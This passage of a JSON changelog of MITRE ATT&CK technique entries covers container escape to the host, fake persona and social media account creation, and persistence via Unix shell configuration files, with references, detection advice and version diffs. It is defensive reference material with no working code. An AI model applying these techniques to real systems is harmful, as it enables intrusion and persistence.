"https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html" }, { "source_name": "Intezer Doki July 20", "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/" }, { "source_name": "Windows Server Containers Are Open", "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.", "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Yuval Avrahami, Palo Alto Networks", "Daniel Prizmant, Palo Alto Networks", "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", "Alfredo Oliveira, Trend Micro", "David Fiser, @anu4is, Trend Micro", "Idan Frimark, Cisco", "Magno Logan, @magnologan, Trend Micro", "Ariel Shuper, Cisco", "Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee" ], "x_mitre_data_sources": [ "Container: Container Creation", "Process: OS API Execution", "Process: Process Creation" ], "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "User", "root" ], "x_mitre_platforms": [ "Windows", "Linux", "Containers" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:59:35.913000+00:00\", \"old_value\": \"2021-04-22 16:14:59.756000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\\n\\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\\n\\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.\", \"old_value\": \"Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\\n\\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\\n \\n-There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.\\n+There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\\n+\\n+Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Windows Server Containers Are Open\", \"description\": \"Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.\", \"url\": \"https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/\"}, \"root['x_mitre_contributors'][0]\": \"Yuval Avrahami, Palo Alto Networks\", \"root['x_mitre_contributors'][1]\": \"Daniel Prizmant, Palo Alto Networks\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may break out of a container to gain access to tt1Adversaries may break out of a container to gain access to t
>he underlying host. This can allow an adversary access to ot>he underlying host. This can allow an adversary access to ot
>her containerized resources from the host level or to the ho>her containerized resources from the host level or to the ho
>st itself. In principle, containerized resources should prov>st itself. In principle, containerized resources should prov
>ide a clear separation of application functionality and be i>ide a clear separation of application functionality and be i
>solated from the host environment.(Citation: Docker Overview>solated from the host environment.(Citation: Docker Overview
>)  There are multiple ways an adversary may escape to a host>)  There are multiple ways an adversary may escape to a host
> environment. Examples include creating a container configur> environment. Examples include creating a container configur
>ed to mount the host\u2019s filesystem using the bind parameter, >ed to mount the host\u2019s filesystem using the bind parameter, 
>which allows the adversary to drop payloads and execute cont>which allows the adversary to drop payloads and execute cont
>rol utilities such as cron on the host, and utilizing a priv>rol utilities such as cron on the host, or utilizing a privi
>ileged container to run commands on the underlying host.(Cit>leged container to run commands on the underlying host.(Cita
>ation: Docker Bind Mounts)(Citation: Trend Micro Privileged >tion: Docker Bind Mounts)(Citation: Trend Micro Privileged C
>Container)(Citation: Intezer Doki July 20) Gaining access to>ontainer)(Citation: Intezer Doki July 20) Adversaries may al
> the host may provide the adversary with the opportunity to >so escape via [Exploitation for Privilege Escalation](https:
>achieve follow-on objectives, such as establishing persisten>//attack.mitre.org/techniques/T1068), such as exploiting vul
>ce, moving laterally within the environment, or setting up a>nerabilities in global symbolic links in order to access the
> command and control channel on the host.> root directory of a host machine.(Citation: Windows Server 
 >Containers Are Open)  Gaining access to the host may provide
 > the adversary with the opportunity to achieve follow-on obj
 >ectives, such as establishing persistence, moving laterally 
 >within the environment, or setting up a command and control 
 >channel on the host.
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1038: Execution Prevention", "M1048: Application Isolation and Sandboxing" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0032: Container (Container Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:05:42.216000+00:00", "modified": "2021-10-16 17:35:59.386000+00:00", "name": "Establish Accounts", "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1585", "external_id": "T1585" }, { "source_name": "NEWSCASTER2014", "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" }, { "source_name": "BlackHatRobinSage", "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" }, { "source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Persona: Social Media", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:35:59.386000+00:00\", \"old_value\": \"2021-04-15 03:10:35.877000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0021: Persona (Social Media)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-01 01:08:41.124000+00:00", "modified": "2021-10-16 17:37:34.563000+00:00", "name": "Social Media Accounts", "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "resource-development" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1585/001", "external_id": "T1585.001" }, { "source_name": "NEWSCASTER2014", "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" }, { "source_name": "BlackHatRobinSage", "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Persona: Social Media", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 17:37:34.563000+00:00\", \"old_value\": \"2021-04-15 03:10:35.708000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0021: Persona (Social Media)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-24 14:13:45.936000+00:00", "modified": "2021-08-20 18:01:52.120000+00:00", "name": "Unix Shell Configuration Modification", "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/004", "external_id": "T1546.004" }, { "source_name": "intezer-kaiji-malware", "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" }, { "source_name": "bencane blog bashrc", "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.", "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/" }, { "source_name": "anomali-rocke-tactics", "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.", "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect" }, { "source_name": "Linux manual bash invocation", "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.", "url": "https://wiki.archlinux.org/index.php/Bash#Invocation" }, { "source_name": "Tsunami", "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.", "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" }, { "source_name": "anomali-linux-rabbit", "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.", "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" }, { "source_name": "Magento", "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.", "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html" }, { "source_name": "ScriptingOSX zsh", "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.", "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/" }, { "source_name": "PersistentJXA_leopitt", "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5" }, { "source_name": "code_persistence_zsh", "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.", "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js" }, { "source_name": "macOS MS office sandbox escape", "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.", "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a" }, { "source_name": "ESF_filemonitor", "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", "url": "https://objective-see.com/blog/blog_0x48.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Robert Wilson", "Tony Lambert, Red Canary" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "File: File Creation", "File: File Modification" ], "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Linux", "macOS" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-20 18:01:52.120000+00:00\", \"old_value\": \"2021-03-08 15:22:54.089000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence through executing malicious commands triggered by a user\\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \\n\\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \\n\\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\", \"old_value\": \"Adversaries may establish persistence through executing malicious commands triggered by a user\\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \\n\\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \\n\\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \\n \\n-For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\\n+For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\"}, \"root['external_references'][11]['source_name']\": {\"new_value\": \"macOS MS office sandbox escape\", \"old_value\": \"ESF_filemonitor\"}, \"root['external_references'][11]['description']\": {\"new_value\": \"Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.\", \"old_value\": \"Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.\"}, \"root['external_references'][11]['url']\": {\"new_value\": \"https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a\", \"old_value\": \"https://objective-see.com/blog/blog_0x48.html\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][12]\": {\"source_name\": \"ESF_filemonitor\", \"description\": \"Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.\", \"url\": \"https://objective-see.com/blog/blog_0x48.html\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may establish persistence through executing malit1Adversaries may establish persistence through executing mali
>cious commands triggered by a user\u2019s shell. User [Unix Shell>cious commands triggered by a user\u2019s shell. User [Unix Shell
>](https://attack.mitre.org/techniques/T1059/004)s execute se>](https://attack.mitre.org/techniques/T1059/004)s execute se
>veral configuration scripts at different points throughout t>veral configuration scripts at different points throughout t
>he session based on events. For example, when a user opens a>he session based on events. For example, when a user opens a
> command-line interface or remotely logs in (such as via SSH> command-line interface or remotely logs in (such as via SSH
>) a login shell is initiated. The login shell executes scrip>) a login shell is initiated. The login shell executes scrip
>ts from the system (<code>/etc</code>) and the user\u2019s home d>ts from the system (<code>/etc</code>) and the user\u2019s home d
>irectory (<code>~/</code>) to configure the environment. All>irectory (<code>~/</code>) to configure the environment. All
> login shells on a system use /etc/profile when initiated. T> login shells on a system use /etc/profile when initiated. T
>hese configuration scripts run at the permission level of th>hese configuration scripts run at the permission level of th
>eir directory and are often used to set environment variable>eir directory and are often used to set environment variable
>s, create aliases, and customize the user\u2019s environment. Whe>s, create aliases, and customize the user\u2019s environment. Whe
>n the shell exits or terminates, additional shell scripts ar>n the shell exits or terminates, additional shell scripts ar
